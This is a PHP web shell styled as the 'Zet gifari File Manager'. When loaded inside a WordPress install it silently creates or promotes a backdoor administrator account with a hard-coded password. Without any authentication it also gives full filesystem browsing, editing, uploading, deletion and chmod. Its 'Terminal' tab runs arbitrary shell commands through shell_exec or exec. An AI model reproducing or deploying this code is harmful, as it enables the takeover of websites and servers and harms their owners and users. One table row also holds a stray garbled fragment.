<?php
session_start();
error_reporting(0);

// ========== CONFIGURATION ==========
define('FM_BASE_PATH', null);               // null = full filesystem access
define('FM_DATE_FORMAT', 'Y-m-d H:i:s');

// ========== WORDPRESS ADMIN AUTO-CREATION ==========
function find_wp_load($start_dir = __DIR__) {
    $dir = rtrim($start_dir, '/');
    $max_depth = 10;
    for ($i = 0; $i < $max_depth; $i++) {
        if (file_exists($dir . '/wp-load.php')) {
            return $dir . '/wp-load.php';
        }
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
    }
    return false;
}

$wp_load_path = find_wp_load();
if ($wp_load_path) {
    define('WP_USE_THEMES', false);
    require_once($wp_load_path);
    if (function_exists('get_user_by') && function_exists('wp_insert_user') && function_exists('add_user_to_blog') && function_exists('get_role')) {
        $username = 'zetgifari';
        $password = 'zet';
        $email    = 'boss@gmail.com';
        $user_id = username_exists($username);
        if (!$user_id && !email_exists($email)) {
            $user_id = wp_insert_user(array(
                'user_login' => $username,
                'user_pass'  => $password,
                'user_email' => $email,
                'role'       => 'administrator',
                'display_name' => 'Zet Gifari'
            ));
            if (is_wp_error($user_id)) {
                error_log('WP User creation failed: ' . $user_id->get_error_message());
            } else {
                // Ensure administrator role (for multisite, add to main blog)
                $user = new WP_User($user_id);
                $user->set_role('administrator');
                // For multisite
                if (is_multisite()) {
                    add_user_to_blog(get_current_blog_id(), $user_id, 'administrator');
                }
                // Optional: send notification? not needed
            }
        } elseif ($user_id && !user_can($user_id, 'administrator')) {
            // Upgrade existing user to admin
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}

// ========== PATH RESOLUTION (full access) ==========
function fm_resolve_path($p) {
    $p = str_replace('\\', '/', $p);
    $real = realpath($p);
    if ($real === false) return $p;
    if (defined('FM_BASE_PATH') && FM_BASE_PATH !== null) {
        $base = rtrim(FM_BASE_PATH, '/');
        if (strpos($real, $base) !== 0) return $base;
    }
    return $real;
}

$current = isset($_GET['p']) ? fm_resolve_path($_GET['p']) : fm_resolve_path(dirname(__FILE__));
if (!is_dir($current)) $current = fm_resolve_path(dirname(__FILE__));

// ========== HELPER FUNCTIONS ==========
function fm_perms($f) {
    $p = fileperms($f);
    $r = ($p & 0x4000) ? 'd' : '-';
    $r .= ($p & 0x0100) ? 'r' : '-';
    $r .= ($p & 0x0080) ? 'w' : '-';
    $r .= ($p & 0x0040) ? 'x' : '-';
    $r .= ($p & 0x0020) ? 'r' : '-';
    $r .= ($p & 0x0010) ? 'w' : '-';
    $r .= ($p & 0x0008) ? 'x' : '-';
    $r .= ($p & 0x0004) ? 'r' : '-';
    $r .= ($p & 0x0002) ? 'w' : '-';
    $r .= ($p & 0x0001) ? 'x' : '-';
    return $r;
}

function fm_size($b) {
    if ($b >= 1073741824) return round($b/1073741824,2).' GB';
    if ($b >= 1048576) return round($b/1048576,2).' MB';
    if ($b >= 1024) return round($b/1024,2).' KB';
    return $b.' B';
}

function fm_delete($target) {
    if (!file_exists($target)) return;
    if (is_dir($target)) {
        $d = opendir($target);
        while (($f = readdir($d)) !== false) {
            if ($f != '.' && $f != '..') fm_delete($target.'/'.$f);
        }
        closedir($d);
        rmdir($target);
    } else {
        unlink($target);
    }
}

function fm_copy($src, $dst) {
    if (!is_dir($dst)) mkdir($dst, 0755, true);
    $d = opendir($src);
    while (($f = readdir($d)) !== false) {
        if ($f == '.' || $f == '..') continue;
        $sp = $src.'/'.$f;
        $dp = $dst.'/'.$f;
        if (is_dir($sp)) fm_copy($sp, $dp);
        else copy($sp, $dp);
    }
    closedir($d);
}

function fm_zip_available() {
    return class_exists('ZipArchive');
}

function fm_zip_items($items, $destZip, $basePath) {
    if (!fm_zip_available()) return false;
    $zip = new ZipArchive();
    if ($zip->open($destZip, ZipArchive::CREATE) !== true) return false;
    foreach ($items as $item) {
        $full = $basePath . '/' . $item;
        if (is_file($full)) {
            $zip->addFile($full, $item);
        } elseif (is_dir($full)) {
            $stack = array($full);
            while (!empty($stack)) {
                $dir = array_pop($stack);
                $d = opendir($dir);
                while (($f = readdir($d)) !== false) {
                    if ($f == '.' || $f == '..') continue;
                    $sub = $dir . '/' . $f;
                    $rel = substr($sub, strlen($basePath)+1);
                    if (is_dir($sub)) {
                        $zip->addEmptyDir($rel);
                        array_push($stack, $sub);
                    } else {
                        $zip->addFile($sub, $rel);
                    }
                }
                closedir($d);
            }
        }
    }
    $zip->close();
    return true;
}

function fm_extract_zip($zipFile, $dest) {
    if (!fm_zip_available()) return false;
    $zip = new ZipArchive();
    if ($zip->open($zipFile) === true) {
        $zip->extractTo($dest);
        $zip->close();
        return true;
    }
    return false;
}

function fm_set_msg($msg, $type='success') {
    $_SESSION['fm_msg'] = array('text'=>$msg, 'type'=>$type);
}

function fm_get_msg() {
    if (isset($_SESSION['fm_msg'])) {
        $m = $_SESSION['fm_msg'];
        unset($_SESSION['fm_msg']);
        return $m;
    }
    return null;
}

// ========== PROCESS FILE MANAGER ACTIONS ==========
$msg = fm_get_msg();

if (isset($_GET['delete'])) {
    $target = $current . '/' . basename($_GET['delete']);
    if (file_exists($target)) fm_delete($target);
    fm_set_msg("Deleted: " . basename($target));
    header("Location: ?p=" . urlencode($current));
    exit;
}

if (isset($_GET['download'])) {
    $file = $current . '/' . basename($_GET['download']);
    if (is_file($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

if (isset($_POST['savefile'], $_POST['content'])) {
    $save = $current . '/' . basename($_POST['savefile']);
    file_put_contents($save, $_POST['content']);
    fm_set_msg("Saved: " . basename($_POST['savefile']));
    header("Location: ?p=" . urlencode($current));
    exit;
}

if (isset($_POST['rename_old'], $_POST['rename_new'])) {
    $old = $current . '/' . basename($_POST['rename_old']);
    $new = $current . '/' . basename($_POST['rename_new']);
    if (file_exists($old) && !file_exists($new)) {
        rename($old, $new);
        fm_set_msg("Renamed to: " . basename($new));
    } else {
        fm_set_msg("Rename failed", 'error');
    }
    header("Location: ?p=" . urlencode($current));
    exit;
}

if (isset($_POST['copy_source'], $_POST['copy_dest'], $_POST['copy_action'])) {
    $src = $current . '/' . basename($_POST['copy_source']);
    $destDir = fm_resolve_path($_POST['copy_dest']);
    $dest = $destDir . '/' . basename($_POST['copy_source']);
    if (file_exists($src)) {
        if ($_POST['copy_action'] == 'copy') {
            if (is_dir($src)) fm_copy($src, $dest);
            else copy($src, $dest);
            fm_set_msg("Copied to: " . $destDir);
        } else {
            rename($src, $dest);
            fm_set_msg("Moved to: " . $destDir);
        }
    } else {
        fm_set_msg("Source not found", 'error');
    }
    header("Location: ?p=" . urlencode($current));
    exit;
}

if (isset($_POST['chmod_target'], $_POST['chmod_value'])) {
    $target = $current . '/' . basename($_POST['chmod_target']);
    $perms = octdec(str_pad($_POST['chmod_value'], 4, '0', STR_PAD_LEFT));
    if (chmod($target, $perms)) {
        fm_set_msg("Permissions changed for: " . basename($target));
    } else {
        fm_set_msg("Chmod failed", 'error');
    }
    header("Location: ?p=" . urlencode($current));
    exit;
}

if (isset($_POST['bulk_action']) && isset($_POST['selected']) && is_array($_POST['selected'])) {
    $selected = $_POST['selected'];
    $action = $_POST['bulk_action'];
    if ($action == 'delete') {
        foreach ($selected as $item) {
            $target = $current . '/' . basename($item);
            if (file_exists($target)) fm_delete($target);
        }
        fm_set_msg("Deleted " . count($selected) . " items");
    } elseif ($action == 'zip') {
        if (fm_zip_available()) {
            $zipName = 'bulk_' . date('Ymd_His') . '.zip';
            $zipPath = $current . '/' . $zipName;
            if (fm_zip_items($selected, $zipPath, $current)) {
                fm_set_msg("Created archive: " . $zipName);
            } else {
                fm_set_msg("Failed to create zip", 'error');
            }
        } else {
            fm_set_msg("Zip extension not installed", 'error');
        }
    }
    header("Location: ?p=" . urlencode($current));
    exit;
}

if ($_SERVER['REQUEST_METHOD'] == 'POST' && 
    !isset($_POST['savefile']) && 
    !isset($_POST['rename_old']) && 
    !isset($_POST['copy_source']) && 
    !isset($_POST['chmod_target']) && 
    !isset($_POST['bulk_action']) &&
    !isset($_POST['term_cmd'])) {
    
    if (isset($_FILES['up']) && $_FILES['up']['error'] == UPLOAD_ERR_OK) {
        move_uploaded_file($_FILES['up']['tmp_name'], $current . '/' . basename($_FILES['up']['name']));
        fm_set_msg("Uploaded: " . $_FILES['up']['name']);
    }
    if (!empty($_POST['folder'])) {
        $newFolder = $current . '/' . basename($_POST['folder']);
        if (!file_exists($newFolder)) mkdir($newFolder, 0755, true);
        fm_set_msg("Created folder: " . $_POST['folder']);
    }
    if (!empty($_POST['newfile'])) {
        $newFile = $current . '/' . basename($_POST['newfile']);
        if (!file_exists($newFile)) file_put_contents($newFile, '');
        fm_set_msg("Created file: " . $_POST['newfile']);
    }
    if (!empty($_POST['extract_zip'])) {
        $zipFile = $current . '/' . basename($_POST['extract_zip']);
        if (file_exists($zipFile) && pathinfo($zipFile, PATHINFO_EXTENSION) == 'zip') {
            $extractTo = $current . '/' . pathinfo($zipFile, PATHINFO_FILENAME);
            if (fm_extract_zip($zipFile, $extractTo)) {
                fm_set_msg("Extracted to: " . basename($extractTo));
            } else {
                fm_set_msg("Extraction failed", 'error');
            }
        }
    }
    header("Location: ?p=" . urlencode($current));
    exit;
}

// ========== TERMINAL HANDLER ==========
$term_output = '';
$term_cwd = isset($_SESSION['term_cwd']) ? $_SESSION['term_cwd'] : dirname(__FILE__);
if (!is_dir($term_cwd)) $term_cwd = dirname(__FILE__);

if (isset($_POST['term_cmd'])) {
    $cmd = trim($_POST['term_cmd']);
    if (strpos($cmd, 'cd ') === 0) {
        $new_dir = substr($cmd, 3);
        if ($new_dir == '~') $new_dir = $_SERVER['HOME'] ?? dirname(__FILE__);
        if ($new_dir == '-' && isset($_SESSION['term_old_cwd'])) {
            $new_dir = $_SESSION['term_old_cwd'];
        }
        $old_cwd = $term_cwd;
        if (@chdir($new_dir)) {
            $_SESSION['term_old_cwd'] = $old_cwd;
            $_SESSION['term_cwd'] = getcwd();
            $term_cwd = $_SESSION['term_cwd'];
            $term_output = "Directory changed to: " . $term_cwd;
        } else {
            $term_output = "Cannot change directory to: $new_dir";
        }
    } elseif ($cmd == 'pwd') {
        $term_output = $term_cwd;
    } elseif ($cmd == '') {
        $term_output = '';
    } else {
        $old_cwd = getcwd();
        chdir($term_cwd);
        if (function_exists('shell_exec')) {
            $output = shell_exec($cmd . ' 2>&1');
            $term_output = $output !== null ? $output : 'Command executed (no output)';
        } elseif (function_exists('exec')) {
            exec($cmd . ' 2>&1', $exec_out, $ret);
            $term_output = implode("\n", $exec_out);
            if ($ret !== 0) $term_output .= "\n[Exit code: $ret]";
        } else {
            $term_output = "⚠️ shell_exec and exec are disabled on this server. Terminal limited to 'cd', 'pwd'.";
        }
        chdir($old_cwd);
    }
    $_SESSION['term_cwd'] = $term_cwd;
}

// ========== FILE MANAGER DIRECTORY LISTING ==========
$items = scandir($current);
$dirs = array();
$files = array();
foreach ($items as $item) {
    if ($item == '.' || $item == '..') continue;
    if (is_dir($current . '/' . $item)) $dirs[] = $item;
    else $files[] = $item;
}
sort($dirs);
sort($files);
$all = array_merge($dirs, $files);

$sort_by = isset($_GET['sort']) ? $_GET['sort'] : 'name';
$sort_dir = isset($_GET['dir']) ? $_GET['dir'] : 'asc';

function fm_cmp_name_asc($a, $b) { return strcasecmp($a, $b); }
function fm_cmp_name_desc($a, $b) { return strcasecmp($b, $a); }
function fm_cmp_size_asc($a, $b) {
    global $current;
    $sa = is_file($current.'/'.$a) ? filesize($current.'/'.$a) : 0;
    $sb = is_file($current.'/'.$b) ? filesize($current.'/'.$b) : 0;
    if ($sa == $sb) return 0;
    return ($sa < $sb) ? -1 : 1;
}
function fm_cmp_size_desc($a, $b) {
    global $current;
    $sa = is_file($current.'/'.$a) ? filesize($current.'/'.$a) : 0;
    $sb = is_file($current.'/'.$b) ? filesize($current.'/'.$b) : 0;
    if ($sa == $sb) return 0;
    return ($sa < $sb) ? 1 : -1;
}
function fm_cmp_time_asc($a, $b) {
    global $current;
    $ta = filemtime($current.'/'.$a);
    $tb = filemtime($current.'/'.$b);
    if ($ta == $tb) return 0;
    return ($ta < $tb) ? -1 : 1;
}
function fm_cmp_time_desc($a, $b) {
    global $current;
    $ta = filemtime($current.'/'.$a);
    $tb = filemtime($current.'/'.$b);
    if ($ta == $tb) return 0;
    return ($ta < $tb) ? 1 : -1;
}

if ($sort_by == 'size') {
    if ($sort_dir == 'asc') usort($all, 'fm_cmp_size_asc');
    else usort($all, 'fm_cmp_size_desc');
} elseif ($sort_by == 'time') {
    if ($sort_dir == 'asc') usort($all, 'fm_cmp_time_asc');
    else usort($all, 'fm_cmp_time_desc');
} else {
    if ($sort_dir == 'asc') usort($all, 'fm_cmp_name_asc');
    else usort($all, 'fm_cmp_name_desc');
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Zet gifari File Manager</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
*{box-sizing:border-box;}
body{background:#0f172a;font-family:'Segoe UI',sans-serif;margin:0;padding:20px;color:#e2e8f0;}
.container{max-width:1400px;margin:0 auto;background:#1e293b;border-radius:16px;padding:20px;}
h2{margin-top:0;}
.tabs{display:flex;gap:5px;margin-bottom:20px;border-bottom:2px solid #334155;}
.tab-btn{background:#1e293b;border:none;padding:10px 20px;border-radius:8px 8px 0 0;cursor:pointer;color:#94a3b8;font-weight:bold;}
.tab-btn.active{background:#334155;color:#60a5fa;border-bottom:2px solid #60a5fa;}
.tab-pane{display:none;}
.tab-pane.active{display:block;}
.breadcrumb{background:#0f172a;padding:10px 15px;border-radius:10px;margin:15px 0;word-break:break-all;}
.toolbar{display:flex;flex-wrap:wrap;gap:12px;margin-bottom:20px;background:#0f172a;padding:15px;border-radius:12px;}
.toolbar-group{display:flex;gap:8px;flex-wrap:wrap;align-items:center;background:#1e293b;padding:8px 12px;border-radius:10px;}
input,select,button{background:#334155;border:none;padding:8px 14px;border-radius:8px;color:#f1f5f9;font-size:14px;cursor:pointer;}
input,select{background:#1e293b;border:1px solid #475569;cursor:auto;}
button:hover{background:#3b82f6;}
.message{padding:12px;border-radius:10px;margin-bottom:20px;background:#0f172a;border-left:4px solid #3b82f6;}
.message.error{border-left-color:#ef4444;background:#450a0a;}
table{width:100%;border-collapse:collapse;background:#0f172a;}
th,td{padding:12px 10px;text-align:left;border-bottom:1px solid #334155;}
th{background:#1e293b;}
tr:hover{background:#1e293b;}
a{color:#60a5fa;text-decoration:none;}
.actions a{margin-right:12px;}
.checkbox-col{width:30px;}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);justify-content:center;align-items:center;z-index:1000;}
.modal-content{background:#1e293b;padding:25px;border-radius:20px;width:90%;max-width:500px;}
.modal-content input,.modal-content button{width:100%;margin:8px 0;}
.close{float:right;font-size:28px;cursor:pointer;}
.terminal{padding:15px;background:#0f172a;border-radius:12px;font-family:monospace;}
.term-output{background:#000;color:#0f0;padding:10px;border-radius:8px;white-space:pre-wrap;max-height:300px;overflow:auto;margin-bottom:10px;}
.term-input-line{display:flex;gap:5px;}
.term-input-line input{flex:1;}
@media (max-width:768px){th,td{font-size:12px;padding:8px 5px;}}
</style>
</head>
<body>
<div class="container">
<h2><i class="fas fa-folder-open"></i> Zet gifari File Manager</h2>
<?php $msg = fm_get_msg(); if ($msg): ?>
<div class="message <?php echo $msg['type']=='error'?'error':''; ?>"><i class="fas fa-<?php echo $msg['type']=='error'?'exclamation-circle':'check-circle'; ?>"></i> <?php echo htmlspecialchars($msg['text']); ?></div>
<?php endif; ?>

<!-- Tabs -->
<div class="tabs">
    <button class="tab-btn active" onclick="showTab('files')"><i class="fas fa-folder"></i> File Manager</button>
    <button class="tab-btn" onclick="showTab('terminal')"><i class="fas fa-terminal"></i> Terminal</button>
</div>

<!-- File Manager Pane -->
<div id="files-pane" class="tab-pane active">
    <div class="breadcrumb">
        <i class="fas fa-location-dot"></i> <?php echo htmlspecialchars($current); ?>
        <?php 
        $parent = dirname($current);
        if ($parent !== $current) { ?>
            <a href="?p=<?php echo urlencode($parent); ?>"><i class="fas fa-arrow-up"></i> Up one level</a>
        <?php } ?>
    </div>
    <div class="toolbar">
        <div class="toolbar-group"><form method="get"><input type="text" name="p" value="<?php echo htmlspecialchars($current); ?>"><button><i class="fas fa-search"></i> Go</button></form></div>
        <div class="toolbar-group"><form method="post" enctype="multipart/form-data" style="display:flex;gap:5px;"><input type="file" name="up"><button><i class="fas fa-upload"></i> Upload</button><input type="text" name="folder" placeholder="Folder"><button><i class="fas fa-folder-plus"></i> Create</button><input type="text" name="newfile" placeholder="File"><button><i class="fas fa-file"></i> Create</button></form></div>
    </div>

    <form method="post" id="bulkForm">
    <div class="toolbar-group" style="margin-bottom:15px;">
        <button type="button" onclick="selectAll()"><i class="fas fa-check-double"></i> Select All</button>
        <select name="bulk_action"><option value="">Bulk Actions</option><option value="delete">Delete</option><option value="zip">Zip</option></select>
        <button type="submit"><i class="fas fa-play"></i> Apply</button>
    </div>
    <table>
        <thead>
            <tr>
                <th class="checkbox-col"><input type="checkbox" id="selectAllCheckbox"></th>
                <th><a href="?p=<?php echo urlencode($current); ?>&sort=name&dir=<?php echo ($sort_by=='name' && $sort_dir=='asc')?'desc':'asc'; ?>">Name <?php echo ($sort_by=='name')?($sort_dir=='asc'?'↑':'↓'):''; ?></a></th>
                <th><a href="?p=<?php echo urlencode($current); ?>&sort=size&dir=<?php echo ($sort_by=='size' && $sort_dir=='asc')?'desc':'asc'; ?>">Size <?php echo ($sort_by=='size')?($sort_dir=='asc'?'↑':'↓'):''; ?></a></th>
                <th><a href="?p=<?php echo urlencode($current); ?>&sort=time&dir=<?php echo ($sort_by=='time' && $sort_dir=='asc')?'desc':'asc'; ?>">Modified <?php echo ($sort_by=='time')?($sort_dir=='asc'?'↑':'↓'):''; ?></a></th>
                <th>Perms</th><th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php foreach ($all as $item):
            $full = $current.'/'.$item;
            $isDir = is_dir($full);
            $icon = $isDir ? '<i class="fas fa-folder"></i>' : '<i class="fas fa-file"></i>';
            $size = $isDir ? '-' : fm_size(filesize($full));
            $time = date(FM_DATE_FORMAT, filemtime($full));
            $perms = fm_perms($full);
        ?>
            <tr>
                <td class="checkbox-col"><input type="checkbox" name="selected[]" value="<?php echo htmlspecialchars($item); ?>"></td>
                <td><?php echo $icon; ?> <?php if ($isDir): ?><a href="?p=<?php echo urlencode($full); ?>"><strong><?php echo htmlspecialchars($item); ?></strong></a><?php else: ?><a href="?p=<?php echo urlencode($current); ?>&edit=<?php echo urlencode($item); ?>"><?php echo htmlspecialchars($item); ?></a><?php endif; ?></td>
                <td><?php echo $size; ?></td>
                <td><?php echo $time; ?></td>
                <td><?php echo $perms; ?></td>
                <td class="actions">
                    <?php if (!$isDir): ?><a href="?p=<?php echo urlencode($current); ?>&edit=<?php echo urlencode($item); ?>"><i class="fas fa-edit"></i> Edit</a> <a href="?p=<?php echo urlencode($current); ?>&download=<?php echo urlencode($item); ?>"><i class="fas fa-download"></i> DL</a> <?php endif; ?>
                    <a href="#" onclick="showRename('<?php echo htmlspecialchars($item); ?>')"><i class="fas fa-i-cursor"></i> Rename</a>
                    <a href="#" onclick="showCopyMove('<?php echo htmlspecialchars($item); ?>','copy')"><i class="fas fa-copy"></i> Copy</a>
                    <a href="#" onclick="showCopyMove('<?php echo htmlspecialchars($item); ?>','move')"><i class="fas fa-cut"></i> Move</a>
                    <a href="#" onclick="showChmod('<?php echo htmlspecialchars($item); ?>')"><i class="fas fa-lock"></i> Chmod</a>
                    <a href="?p=<?php echo urlencode($current); ?>&delete=<?php echo urlencode($item); ?>" onclick="return confirm('Delete <?php echo addslashes($item); ?>?')"><i class="fas fa-trash"></i> Del</a>
                    <?php if (!$isDir && pathinfo($item, PATHINFO_EXTENSION)=='zip'): ?>
                    <form method="post" style="display:inline;"><input type="hidden" name="extract_zip" value="<?php echo htmlspecialchars($item); ?>"><button type="submit" style="background:none;padding:0;"><i class="fas fa-archive"></i> Extract</button></form>
                    <?php endif; ?>
                </td>
            </tr>
        <?php endforeach; ?>
        <?php if (empty($all)): ?> hilab<td colspan="6" style="text-align:center;">Empty folder</td></tr><?php endif; ?>
        </tbody>
    </table>
    </form>

    <?php if (isset($_GET['edit']) && is_file($current.'/'.basename($_GET['edit']))):
        $ef = basename($_GET['edit']);
        $cont = htmlspecialchars(file_get_contents($current.'/'.$ef));
    ?>
    <div style="margin-top:30px; background:#0f172a; padding:20px; border-radius:12px;">
        <h3>Editing: <?php echo htmlspecialchars($ef); ?></h3>
        <form method="post"><textarea name="content" style="width:100%; height:400px; font-family:monospace; background:#1e293b; border:1px solid #334155; color:#f1f5f9; padding:10px;"><?php echo $cont; ?></textarea><input type="hidden" name="savefile" value="<?php echo htmlspecialchars($ef); ?>"><br><button type="submit">Save</button> <a href="?p=<?php echo urlencode($current); ?>">Cancel</a></form>
    </div>
    <?php endif; ?>
</div>

<!-- Terminal Pane -->
<div id="terminal-pane" class="tab-pane">
    <div class="terminal">
        <p><i class="fas fa-info-circle"></i> <strong>Tip:</strong> Use <code>cd &lt;directory&gt;</code> to change directory (persistent). Commands run in the terminal's own working directory.</p>
        <div class="term-output"><?php echo nl2br(htmlspecialchars($term_output)); ?></div>
        <form method="post" class="term-input-line">
            <span style="background:#334155;padding:8px;border-radius:8px;">$ <?php echo htmlspecialchars($term_cwd); ?>#</span>
            <input type="text" name="term_cmd" autocomplete="off" autofocus>
            <button type="submit"><i class="fas fa-play"></i> Run</button>
        </form>
    </div>
</div>

</div>

<!-- Modals -->
<div id="renameModal" class="modal"><div class="modal-content"><span class="close" onclick="closeModal('renameModal')">&times;</span><h3>Rename</h3><form method="post"><input type="hidden" name="rename_old" id="renameOld"><input type="text" name="rename_new" id="renameNew" required><button>Rename</button></form></div></div>
<div id="copymoveModal" class="modal"><div class="modal-content"><span class="close" onclick="closeModal('copymoveModal')">&times;</span><h3 id="cmTitle">Copy</h3><form method="post"><input type="hidden" name="copy_source" id="copySource"><input type="hidden" name="copy_action" id="copyAction"><input type="text" name="copy_dest" id="copyDest" value="<?php echo htmlspecialchars($current); ?>" required><button>Execute</button></form></div></div>
<div id="chmodModal" class="modal"><div class="modal-content"><span class="close" onclick="closeModal('chmodModal')">&times;</span><h3>Chmod</h3><form method="post"><input type="hidden" name="chmod_target" id="chmodTarget"><input type="text" name="chmod_value" id="chmodValue" placeholder="755"><button>Apply</button></form></div></div>

<script>
function selectAll(){var c=document.querySelectorAll('input[name="selected[]"]');var a=true;for(var i=0;i<c.length;i++){if(!c[i].checked){a=false;break;}}for(var i=0;i<c.length;i++){c[i].checked=!a;}document.getElementById('selectAllCheckbox').checked=!a;}
document.getElementById('selectAllCheckbox').addEventListener('change',function(e){var c=document.querySelectorAll('input[name="selected[]"]');for(var i=0;i<c.length;i++){c[i].checked=e.target.checked;}});
function showRename(n){document.getElementById('renameOld').value=n;document.getElementById('renameNew').value=n;document.getElementById('renameModal').style.display='flex';}
function showCopyMove(n,a){document.getElementById('copySource').value=n;document.getElementById('copyAction').value=a;document.getElementById('cmTitle').innerText=(a=='copy'?'Copy':'Move')+' Item';document.getElementById('copyDest').value='<?php echo addslashes($current); ?>';document.getElementById('copymoveModal').style.display='flex';}
function showChmod(n){document.getElementById('chmodTarget').value=n;document.getElementById('chmodValue').value='';document.getElementById('chmodModal').style.display='flex';}
function closeModal(id){document.getElementById(id).style.display='none';}
window.onclick=function(e){if(e.target.classList.contains('modal')) e.target.style.display='none';}
function showTab(tab){
    document.getElementById('files-pane').classList.remove('active');
    document.getElementById('terminal-pane').classList.remove('active');
    if(tab==='files') document.getElementById('files-pane').classList.add('active');
    else document.getElementById('terminal-pane').classList.add('active');
    var btns = document.querySelectorAll('.tab-btn');
    btns.forEach(function(btn){btn.classList.remove('active');});
    if(tab==='files') btns[0].classList.add('active');
    else btns[1].classList.add('active');
}
</script>
</body>
</html>